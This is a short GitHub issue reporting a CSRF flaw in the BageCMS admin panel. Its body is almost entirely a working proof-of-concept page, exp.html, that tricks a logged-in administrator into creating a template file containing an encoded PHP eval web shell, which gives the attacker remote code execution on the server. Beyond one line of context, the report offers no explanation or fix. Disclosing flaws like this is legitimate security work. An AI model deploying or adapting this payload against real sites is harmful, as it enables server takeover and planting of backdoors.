Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can be used to upload arbitrary files and get server privileges. #3

Open
anquanfuwu opened this issue Nov 8, 2018 · 0 comments

Comments

@anquanfuwu
Copy link

anquanfuwu commented Nov 8, 2018

When the administrator lands, open it.
exp.html:

<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/bagecms/upload/index.php" method="POST">
  <input type="hidden" name="r" value="admini&#47;template&#47;createTpl" />
  <input type="hidden" name="folderName" value="error" />
  <input type="hidden" name="fileName" value="test11" />
  <input type="hidden" name="content" value="&lt;&#63;php&#32;&#64;eval&#40;&#36;&#95;POST&#91;1&#93;&#41;&#59;&#63;&gt;" />
  <input type="hidden" name="editsubmit" value="�&#143;&#144;浜&#164;" />
  <input type="submit" value="Submit request" />
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant